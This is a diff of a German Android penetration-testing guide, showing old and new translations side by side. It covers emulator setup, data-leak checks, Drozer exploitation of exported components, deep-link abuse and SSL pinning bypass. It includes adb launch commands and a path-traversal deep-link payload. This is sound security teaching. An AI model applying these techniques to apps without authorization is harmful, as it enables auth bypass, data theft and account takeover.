||||
**Neueste Ankündigungen**\
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtigen Plattformupdates informiert.
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtigen Plattformupdates informiert
|
||||
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und arbeiten Sie noch heute mit Top-Hackern zusammen!
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
|
||||
***
|
||||
|
||||
## Dynamische Analyse
|
||||
|
||||
> Zunächst benötigen Sie eine Umgebung, in der Sie die Anwendung und die gesamte Umgebung (Burp CA-Zertifikat, Drozer und Frida hauptsächlich) installieren können. Daher wird ein gerootetes Gerät (emuliert oder nicht) dringend empfohlen.
|
||||
> Zunächst benötigen Sie eine Umgebung, in der Sie die Anwendung und die gesamte Umgebung installieren können (insbesondere Burp CA-Zertifikat, Drozer und Frida). Daher wird ein gerootetes Gerät (emuliert oder nicht) dringend empfohlen.
|
||||
|
||||
### Online-Dynamikanalyse
|
||||
### Online-Dynamische Analyse
|
||||
|
||||
Sie können ein **kostenloses Konto** bei [https://appetize.io/](https://appetize.io) erstellen. Diese Plattform ermöglicht es Ihnen, APKs hochzuladen und auszuführen, sodass Sie sehen können, wie sich eine APK verhält.
|
||||
Sie können ein **kostenloses Konto** bei: [https://appetize.io/](https://appetize.io) erstellen. Diese Plattform ermöglicht es Ihnen, APKs hochzuladen und auszuführen, um das Verhalten einer APK zu sehen.
|
||||
|
||||
Sie können sogar **die Protokolle Ihrer Anwendung** im Web anzeigen und über **adb** eine Verbindung herstellen.
|
||||
Sie können sogar die **Protokolle Ihrer Anwendung** im Web einsehen und über **adb** eine Verbindung herstellen.
|
||||
|
||||
![](<../../.gitbook/assets/image (60).png>)
|
||||
|
||||
Dank der ADB-Verbindung können Sie Drozer und Frida in den Emulatoren verwenden.
|
||||
Dank der ADB-Verbindung können Sie **Drozer** und **Frida** in den Emulatoren verwenden.
|
||||
|
||||
### Lokale Dynamikanalyse
|
||||
### Lokale Dynamische Analyse
|
||||
|
||||
#### Verwendung eines Emulators
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Sie können **x86**- und **arm**-Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neuesten x86**-Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator).
|
||||
* Erfahren Sie, wie Sie es auf dieser Seite einrichten:
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und gemäß [**diesen** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neuesten x86**-Versionen **unterstützen ARM-Bibliotheken** ohne die Notwendigkeit eines langsamen ARM-Emulators).
|
||||
* Erfahren Sie, wie Sie dies auf dieser Seite einrichten:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||
|
@ -276,102 +272,102 @@ Dank der ADB-Verbindung können Sie Drozer und Frida in den Emulatoren verwenden
|
|||
* [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch kein Frida oder Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Wenn Sie auf einer beliebigen Plattform einen neuen Emulator erstellen, denken Sie daran, dass der Emulator umso langsamer läuft, je größer der Bildschirm ist. Wählen Sie also möglichst kleine Bildschirme aus.
|
||||
Beim Erstellen eines neuen Emulators auf jeder Plattform gilt: Je größer der Bildschirm ist, desto langsamer wird der Emulator ausgeführt. Wählen Sie also möglichst kleine Bildschirme aus.
|
||||
{% endhint %}
|
||||
|
||||
Um in Genymotion **Google-Dienste** (wie den AppStore) zu **installieren**, müssen Sie auf die rot markierte Schaltfläche des folgenden Bildes klicken:
|
||||
Um **Google-Dienste** (wie AppStore) in Genymotion zu installieren, müssen Sie auf die rot markierte Schaltfläche des folgenden Bildes klicken:
|
||||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion** den **Bridge Network-Modus** auswählen können (dies ist nützlich, wenn Sie von einer anderen VM aus mit den Tools eine Verbindung zur Android-VM herstellen möchten).
|
||||
#### Verwenden Sie ein physisches Gerät
|
||||
Beachten Sie auch, dass Sie im **Konfigurationsmenü der Android-VM in Genymotion** den **Bridge Network-Modus** auswählen können (dies ist nützlich, wenn Sie von einer anderen VM aus eine Verbindung zur Android-VM mit den Tools herstellen).
|
||||
#### Verwendung eines physischen Geräts
|
||||
|
||||
Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es **rooten** könnten:
|
||||
Sie müssen die **Debugging**-Optionen aktivieren und es wäre gut, wenn Sie es **rooten** könnten:
|
||||
|
||||
1. **Einstellungen**.
|
||||
2. (Ab Android 8.0) Wählen Sie **System**.
|
||||
3. Wählen Sie **Telefoninfo**.
|
||||
4. Drücken Sie **Build-Nummer** 7 Mal.
|
||||
5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**.
|
||||
4. Drücken Sie 7 Mal auf **Build-Nummer**.
|
||||
5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**.
|
||||
|
||||
> Sobald Sie die Anwendung installiert haben, sollten Sie als erstes versuchen, sie zu testen und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut machen.\
|
||||
> Ich schlage vor, diese anfängliche dynamische Analyse mit MobSF Dynamic Analysis + pidcat durchzuführen, damit wir lernen können, wie die Anwendung funktioniert, während MobSF eine Menge interessanter Daten erfasst, die Sie später überprüfen können.
|
||||
> Sobald Sie die Anwendung installiert haben, sollten Sie als Erstes versuchen, sie zu testen und zu untersuchen, was sie tut, wie sie funktioniert, und sich damit vertraut machen.\
|
||||
> Ich schlage vor, diese anfängliche dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir lernen können, wie die Anwendung funktioniert, während MobSF eine Menge interessanter Daten erfasst, die Sie später überprüfen können.
|
||||
|
||||
### Unerwünschter Daten-Leakage
|
||||
### Unerwünschtes Datenleck
|
||||
|
||||
**Protokollierung**
|
||||
|
||||
Entwickler sollten vorsichtig sein, Debugging-Informationen öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird aufgrund seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
|
||||
Entwickler sollten vorsichtig sein, Debug-Informationen öffentlich preiszugeben, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird aufgrund seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass ab **Android 4.0** Anwendungen nur auf ihre eigenen Protokolle zugreifen können. Anwendungen können also nicht auf Protokolle anderer Apps zugreifen.\
|
||||
Dennoch wird empfohlen, **keine sensiblen Informationen zu protokollieren**.
|
||||
Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf Protokolle anderer Apps zugreifen.\
|
||||
Es wird dennoch empfohlen, **keine sensiblen Informationen zu protokollieren**.
|
||||
{% endhint %}
|
||||
|
||||
**Zwischenspeicherung von Kopieren/Einfügen**
|
||||
**Kopieren/Einfügen-Zwischenspeicher-Caching**
|
||||
|
||||
Das auf dem Android-Gerät basierende Framework ermöglicht die Kopieren/Einfügen-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf den Zwischenspeicher zugreifen können und sensible Daten möglicherweise preisgeben. Es ist wichtig, die Kopieren/Einfügen-Funktionen für sensible Bereiche einer Anwendung, wie Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern.
|
||||
Das auf dem Android basierende Zwischenspeicher-Framework ermöglicht die Kopier- und Einfüge-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf den Zwischenspeicher zugreifen können, was potenziell sensible Daten offenlegen könnte. Es ist entscheidend, die Kopier-/Einfüge-Funktionen für sensible Bereiche einer Anwendung wie Kreditkartendaten zu deaktivieren, um Datenlecks zu verhindern.
|
||||
|
||||
**Absturzprotokolle**
|
||||
|
||||
Wenn eine Anwendung abstürzt und Protokolle speichert, können diese Protokolle Angreifern helfen, insbesondere wenn die Anwendung nicht reverse-engineered werden kann. Um dieses Risiko zu minimieren, vermeiden Sie das Protokollieren von Abstürzen, und wenn Protokolle über das Netzwerk übertragen werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal gesendet werden, um die Sicherheit zu gewährleisten.
|
||||
Wenn eine Anwendung abstürzt und Protokolle speichert, können diese Protokolle Angreifern helfen, insbesondere wenn die Anwendung nicht rückentwickelt werden kann. Um dieses Risiko zu mindern, vermeiden Sie das Protokollieren von Abstürzen, und wenn Protokolle über das Netzwerk übertragen werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal gesendet werden, um die Sicherheit zu gewährleisten.
|
||||
|
||||
Als Pentester sollten Sie **einen Blick auf diese Protokolle werfen**.
|
||||
|
||||
**Analyse-Daten an Dritte gesendet**
|
||||
|
||||
Anwendungen integrieren oft Dienste wie Google Adsense, die aufgrund einer unsachgemäßen Implementierung durch Entwickler versehentlich sensible Daten preisgeben können. Um potenzielle Datenlecks zu identifizieren, empfiehlt es sich, den Datenverkehr der Anwendung abzufangen und nach sensiblen Informationen zu suchen, die an Drittanbieterdienste gesendet werden.
|
||||
Anwendungen integrieren oft Dienste wie Google Adsense, die aufgrund einer falschen Implementierung durch Entwickler versehentlich **sensible Daten preisgeben** können. Um potenzielle Datenlecks zu identifizieren, ist es ratsam, den Datenverkehr der Anwendung abzufangen und nach sensiblen Informationen zu suchen, die an Drittanbieterdienste gesendet werden.
|
||||
|
||||
### SQLite-Datenbanken
|
||||
### SQLite-DBs
|
||||
|
||||
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die erstellten **Datenbanken**, die Namen der **Tabellen** und **Spalten** und alle **gespeicherten Daten** werfen, da Sie möglicherweise **sensible Informationen** finden können (was eine Schwachstelle darstellen würde).\
|
||||
Datenbanken sollten sich in `/data/data/die.paket.name/databases` befinden, wie z.B. `/data/data/com.mwr.example.sieve/databases`
|
||||
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen Blick auf die erstellten **Datenbanken**, die Namen der **Tabellen** und **Spalten** sowie alle gespeicherten **Daten** werfen, da Sie möglicherweise **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
|
||||
Datenbanken sollten sich unter `/data/data/die.paket.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
|
||||
|
||||
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** in der Anwendung **finden** können, handelt es sich dennoch um eine **Schwachstelle**.
|
||||
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt ist**, Sie jedoch das **Passwort** innerhalb der Anwendung **finden** können, handelt es sich dennoch um eine **Schwachstelle**.
|
||||
|
||||
Listen Sie die Tabellen mit `.tables` auf und listen Sie die Spalten der Tabellen mit `.schema <tabellenname>` auf.
|
||||
|
||||
### Drozer (Exploit-Aktivitäten, Content Provider und Dienste)
|
||||
### Drozer (Ausnutzen von Aktivitäten, Inhalten und Diensten)
|
||||
|
||||
Aus den [Drozer-Dokumenten](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, die Rolle einer Android-App anzunehmen und mit anderen Apps zu interagieren. Es kann alles tun, was eine installierte Anwendung tun kann, wie z.B. die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\
|
||||
Drozer ist ein nützliches Werkzeug, um exportierte Aktivitäten, exportierte Dienste und Content Provider zu **exploitieren**, wie Sie in den folgenden Abschnitten erfahren werden.
|
||||
Aus [Drozer-Dokumentation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, die Rolle einer Android-App anzunehmen und mit anderen Apps zu interagieren. Es kann alles tun, was eine installierte Anwendung tun kann, wie z.B. Androids Inter-Process Communication (IPC)-Mechanismus nutzen und mit dem zugrunde liegenden Betriebssystem interagieren.\
|
||||
Drozer ist ein nützliches Tool, um exportierte Aktivitäten, exportierte Dienste und Content Provider auszunutzen, wie Sie in den folgenden Abschnitten erfahren werden.
|
||||
|
||||
### Ausnutzung von exportierten Aktivitäten
|
||||
### Ausnutzen von exportierten Aktivitäten
|
||||
|
||||
[**Lesen Sie dies, wenn Sie auffrischen möchten, was eine Android-Aktivität ist.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Denken Sie auch daran, dass der Code einer Aktivität in der Methode **`onCreate`** beginnt.
|
||||
|
||||
**Autorisierungsumgehung**
|
||||
|
||||
Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Wenn also eine Aktivität mit **sensiblen Informationen** **exportiert** wird, könnten Sie die **Authentifizierungsmechanismen umgehen**, um darauf zuzugreifen.
|
||||
Wenn eine Aktivität exportiert ist, können Sie ihr Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** ist, die **Authentifizierungsmechanismen umgehen**, um darauf zuzugreifen.
|
||||
|
||||
[**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen können.**](drozer-tutorial/#activities)
|
||||
[Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.](drozer-tutorial/#activities)
|
||||
|
||||
Sie können auch eine exportierte Aktivität über adb starten:
|
||||
Sie können auch eine exportierte Aktivität von adb aus starten:
|
||||
|
||||
* PackageName ist com.example.demo
|
||||
* Exportierter ActivityName ist com.example.test.MainActivity
|
||||
* Paketname ist com.example.demo
|
||||
* Exportierter Aktivitätsname ist com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**HINWEIS**: MobSF erkennt die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Aktivität als bösartig, aber aufgrund [dieses](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) ist dies anscheinend nur auf alten Versionen (API-Versionen < 21) gefährlich.
|
||||
**Hinweis**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Aktivität als bösartig erkennen, aber aufgrund [dieses](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) ist dies anscheinend nur auf alten Versionen (API-Versionen < 21) gefährlich.
|
||||
|
||||
{% hint style="info" %}
|
||||
Beachten Sie, dass eine Autorisierungsumgehung nicht immer eine Sicherheitslücke ist. Es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden.
|
||||
Beachten Sie, dass eine Autorisierungsumgehung nicht immer eine Schwachstelle darstellt. Es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden.
|
||||
{% endhint %}
|
||||
|
||||
**Leckage sensibler Informationen**
|
||||
|
||||
**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn Sie eine exportierte und ungeschützte Aktivität finden, die die Methode **`setResult`** aufruft und **sensible Informationen zurückgibt**, handelt es sich um eine Leckage sensibler Informationen.
|
||||
**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn es Ihnen gelingt, eine exportierte und ungeschützte Aktivität zu finden, die die Methode **`setResult`** aufruft und **sensible Informationen zurückgibt**, handelt es sich um eine sensible Informationsleckage.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Wenn Tapjacking nicht verhindert wird, können Sie die exportierte Aktivität missbrauchen, um den **Benutzer unerwartete Aktionen** ausführen zu lassen. Weitere Informationen zu [**was Tapjacking ist, folgen Sie dem Link**](./#tapjacking).
|
||||
Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität missbrauchen, um den **Benutzer unerwartete Aktionen ausführen zu lassen**. Weitere Informationen zu [**was Tapjacking ist, finden Sie unter dem Link**](./#tapjacking).
|
||||
|
||||
### Ausnutzen von Content Providern - Zugriff auf und Manipulation sensibler Informationen
|
||||
|
||||
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
|
||||
Content Provider werden im Wesentlichen verwendet, um Daten zu **teilen**. Wenn eine App Content Provider hat, können Sie möglicherweise **sensible** Daten daraus **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Pfadtraversierungen** zu testen, da sie anfällig sein könnten.
|
||||
Content Provider werden im Wesentlichen verwendet, um **Daten zu teilen**. Wenn eine App Content Provider zur Verfügung stellt, können Sie möglicherweise **sensible** Daten daraus **extrahieren**. Es ist auch interessant, mögliche **SQL-Injections** und **Pfadtraversierungen** zu testen, da sie anfällig sein könnten.
|
||||
|
||||
[**Erfahren Sie, wie Sie Content Provider mit Drozer ausnutzen können.**](drozer-tutorial/#content-providers)
|
||||
|
||||
|
@ -380,7 +376,7 @@ Content Provider werden im Wesentlichen verwendet, um Daten zu **teilen**. Wenn
|
|||
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Service ist.**](android-applications-basics.md#services)\
|
||||
Denken Sie daran, dass die Aktionen eines Service in der Methode `onStartCommand` beginnen.
|
||||
|
||||
Ein Service ist im Grunde etwas, das Daten **empfangen**, sie **verarbeiten** und eine Antwort **zurückgeben** (oder auch nicht) kann. Wenn eine Anwendung Dienste exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch** testen, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen usw.\
|
||||
Ein Service ist im Grunde etwas, das **Daten empfangen**, sie **verarbeiten** und eine Antwort **zurückgeben** (oder auch nicht) kann. Wenn eine Anwendung einige Services exportiert, sollten Sie den **Code** überprüfen, um zu verstehen, was er tut, und ihn **dynamisch testen**, um vertrauliche Informationen zu extrahieren, Authentifizierungsmaßnahmen zu umgehen usw.\
|
||||
[**Erfahren Sie, wie Sie Services mit Drozer ausnutzen können.**](drozer-tutorial/#services)
|
||||
|
||||
### **Ausnutzen von Broadcast Receivern**
|
||||
|
@ -388,13 +384,13 @@ Ein Service ist im Grunde etwas, das Daten **empfangen**, sie **verarbeiten** un
|
|||
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Broadcast Receiver ist.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Denken Sie daran, dass die Aktionen eines Broadcast Receivers in der Methode `onReceive` beginnen.
|
||||
|
||||
Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Receiver die Nachricht verarbeitet, kann er anfällig sein.\
|
||||
Ein Broadcast Receiver wartet auf eine Art von Nachricht. Je nachdem, wie der Receiver die Nachricht verarbeitet, könnte er anfällig sein.\
|
||||
[**Erfahren Sie, wie Sie Broadcast Receiver mit Drozer ausnutzen können.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Ausnutzen von Schemes / Deep Links**
|
||||
### **Ausnutzen von Schemas / Deep Links**
|
||||
|
||||
Sie können nach Deep Links manuell suchen, indem Sie Tools wie MobSF oder Skripte wie [dieses](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwenden.\
|
||||
Sie können ein deklariertes **Schema** mit **adb** oder einem **Browser** öffnen:
|
||||
Sie können Deep Links manuell suchen, Tools wie MobSF oder Skripte wie [dieses hier](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) verwenden.\
|
||||
Sie können ein deklariertes **Schema** mit **adb** oder einem **Browser** **öffnen**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -402,7 +398,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Beachten Sie, dass Sie den **Paketnamen weglassen** können und das Mobilgerät automatisch die App aufruft, die den Link öffnen soll._
|
||||
_Beachten Sie, dass Sie den Paketnamen **weglassen können** und das Mobilgerät automatisch die App aufruft, die den Link öffnen soll._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -415,72 +411,73 @@ _Beachten Sie, dass Sie den **Paketnamen weglassen** können und das Mobilgerät
|
|||
|
||||
**Ausgeführter Code**
|
||||
|
||||
Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
|
||||
Um den **Code, der in der App ausgeführt wird**, zu finden, gehen Sie zur Aktivität, die durch den Deeplink aufgerufen wird, und suchen Sie die Funktion **`onNewIntent`**.
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
**Empfindliche Informationen**
|
||||
**Sensible Informationen**
|
||||
|
||||
Überprüfe jedes Mal, wenn du einen Deeplink findest, ob er keine sensiblen Daten (wie Passwörter) über URL-Parameter empfängt, da jede andere Anwendung den Deeplink vortäuschen und diese Daten stehlen könnte!
|
||||
Jedes Mal, wenn Sie einen Deeplink finden, überprüfen Sie, dass **keine sensiblen Daten (wie Passwörter) über URL-Parameter übertragen werden**, da eine andere Anwendung den Deeplink **nachahmen und diese Daten stehlen könnte!**
|
||||
|
||||
**Parameter im Pfad**
|
||||
|
||||
Du **solltest auch überprüfen, ob ein Deeplink einen Parameter im Pfad** der URL verwendet, wie z.B. `https://api.example.com/v1/users/{username}`, in diesem Fall kannst du einen Pfad-Traversal erzwingen, indem du auf etwas wie `example://app/users?username=../../unwanted-endpoint%3fparam=value` zugreifst. Beachte, dass du, wenn du die richtigen Endpunkte in der Anwendung findest, möglicherweise eine **Open Redirect** verursachen kannst (wenn ein Teil des Pfads als Domainname verwendet wird), **Accountübernahme** (wenn du Benutzerdetails ohne CSRF-Token ändern kannst und der verwundbare Endpunkt die richtige Methode verwendet) und jede andere Schwachstelle. Weitere Informationen dazu findest du [hier](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Sie **müssen auch überprüfen, ob ein Deeplink einen Parameter im Pfad** der URL verwendet, wie z.B.: `https://api.example.com/v1/users/{username}`, in diesem Fall können Sie einen Pfadtraversal erzwingen, indem Sie auf etwas wie zugreifen: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Beachten Sie, dass Sie, wenn Sie die richtigen Endpunkte innerhalb der Anwendung finden, einen **Open Redirect** verursachen können (wenn ein Teil des Pfads als Domainname verwendet wird), **Accountübernahme** (wenn Sie Benutzerdetails ohne CSRF-Token ändern können und der verwundbare Endpunkt die richtige Methode verwendet) und andere Schwachstellen. Weitere [Informationen dazu hier](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Weitere Beispiele**
|
||||
|
||||
Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) über Links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Transport Layer Inspection und Verifizierungsfehler
|
||||
### Überprüfung und Fehler bei der Transportebene
|
||||
|
||||
- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen übersehen und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf die Verwendung von HTTP-Verbindungen zurückgreifen.
|
||||
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Verschlüsselungssuites. Diese Schwachstelle macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
|
||||
- **Das Auslaufen privater Informationen** ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, aber dann über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten wie Sitzungscookies oder Benutzerdetails nicht vor dem Abfangen durch bösartige Entitäten.
|
||||
* **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen übersehen und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf die Verwendung von HTTP-Verbindungen zurückgreifen.
|
||||
* **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, wobei unsichere Verschlüsselungssuiten verwendet werden. Diese Schwachstelle macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
|
||||
* **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen sich über sichere Kanäle authentifizieren, dann aber über unverschlüsselte Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten wie Sitzungscookies oder Benutzerdetails nicht vor dem Abfangen durch bösartige Entitäten.
|
||||
|
||||
#### Zertifikatsverifizierung
|
||||
#### Zertifikatsüberprüfung
|
||||
|
||||
Wir werden uns auf die **Zertifikatsverifizierung** konzentrieren. Die Integrität des Serverzertifikats muss überprüft werden, um die Sicherheit zu erhöhen. Dies ist entscheidend, da unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle erhebliche Risiken darstellen können. Für detaillierte Schritte zur Überprüfung von Serverzertifikaten und zur Behebung von Schwachstellen bietet **[diese Ressource](https://manifestsecurity.com/android-application-security-part-10/)** umfassende Anleitungen.
|
||||
Wir werden uns auf die **Zertifikatsüberprüfung** konzentrieren. Die Integrität des Serverzertifikats muss überprüft werden, um die Sicherheit zu erhöhen. Dies ist entscheidend, da unsichere TLS-Konfigurationen und die Übertragung sensibler Daten über unverschlüsselte Kanäle erhebliche Risiken darstellen können. Für detaillierte Schritte zur Überprüfung von Serverzertifikaten und zur Behebung von Schwachstellen bietet [**diese Ressource**](https://manifestsecurity.com/android-application-security-part-10/) umfassende Anleitungen.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat mit einer im Anwendungscode gespeicherten Kopie überprüft. Diese Methode ist entscheidend, um MITM-Angriffe zu verhindern. Die Implementierung von SSL Pinning wird für Anwendungen, die sensible Informationen verarbeiten, dringend empfohlen.
|
||||
SSL Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzertifikat gegen eine im Anwendungscode gespeicherte Kopie überprüft. Diese Methode ist entscheidend, um MITM-Angriffe zu verhindern. Die Implementierung von SSL Pinning wird für Anwendungen, die sensible Informationen verarbeiten, dringend empfohlen.
|
||||
|
||||
#### Traffic Inspection
|
||||
#### Traffic-Inspektion
|
||||
|
||||
Um den HTTP-Verkehr zu inspizieren, ist es erforderlich, das Zertifikat des Proxy-Tools zu **installieren** (z.B. Burp). Ohne die Installation dieses Zertifikats ist es möglich, dass verschlüsselter Verkehr nicht über den Proxy sichtbar ist. Eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats findest du **[hier](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**.
|
||||
Um den HTTP-Verkehr zu inspizieren, ist es erforderlich, das Zertifikat des Proxy-Tools zu **installieren** (z.B. Burp). Ohne Installation dieses Zertifikats könnte der verschlüsselte Verkehr über den Proxy nicht sichtbar sein. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicken Sie hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend, um den verschlüsselten Verkehr zu inspizieren. Anweisungen zur Änderung der Network Security Config findest du **[in diesem Tutorial](make-apk-accept-ca-certificate.md)**.
|
||||
Anwendungen, die **API-Level 24 und höher** anvisieren, erfordern Änderungen an der Netzwerksicherheitskonfiguration, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion des verschlüsselten Verkehrs. Für Anweisungen zur Änderung der Netzwerksicherheitskonfiguration, [**verweisen Sie auf dieses Tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Umgehen von SSL Pinning
|
||||
|
||||
Wenn SSL Pinning implementiert ist, ist es erforderlich, es zu umgehen, um den HTTPS-Verkehr zu inspizieren. Hierfür stehen verschiedene Methoden zur Verfügung:
|
||||
Wenn SSL Pinning implementiert ist, ist es erforderlich, es zu umgehen, um den HTTPS-Verkehr zu inspizieren. Dafür stehen verschiedene Methoden zur Verfügung:
|
||||
|
||||
* Automatisches **Ändern** der **APK**, um SSL Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu umgehen. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
|
||||
